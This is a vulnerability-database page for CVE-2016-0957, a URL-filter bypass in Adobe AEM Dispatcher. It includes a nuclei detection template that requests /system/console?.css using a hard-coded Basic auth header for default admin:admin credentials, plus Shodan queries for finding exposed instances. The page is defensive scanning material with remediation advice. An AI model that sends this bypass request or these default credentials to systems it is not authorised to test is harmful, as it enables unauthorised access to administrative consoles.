Adobe AEM Dispatcher <4.15 - Rules Bypass

highseverity

7.5CVSS score

51.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.

Impact

The vulnerability allows attackers to bypass security rules and potentially gain unauthorized access to sensitive information or perform malicious actions.

Fix

Upgrade to Adobe AEM Dispatcher version 4.15 or higher to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/system/console?.css
Positive when: contains "Adobe" and "java.lang" and "(Runtime)" AND status 200

Run it with nuclei: nuclei -id CVE-2016-0957 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-0957

info:
  name: Adobe AEM Dispatcher <4.15 - Rules Bypass
  author: geeknik
  severity: high
  description: Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.
  impact: |
    The vulnerability allows attackers to bypass security rules and potentially gain unauthorized access to sensitive information or perform malicious actions.
  remediation: |
    Upgrade to Adobe AEM Dispatcher version 4.15 or higher to fix the vulnerability.
  reference:
    - https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
    - https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-0957
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-0957
    epss-score: 0.51054
    epss-percentile: 0.98941
    cpe: cpe:2.3:a:adobe:dispatcher:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: dispatcher
    shodan-query:
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
  tags: cve2016,cve,adobe,aem,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/console?.css"

    headers:
      Authorization: "Basic YWRtaW46YWRtaW4K"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Adobe"
          - "java.lang"
          - "(Runtime)"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from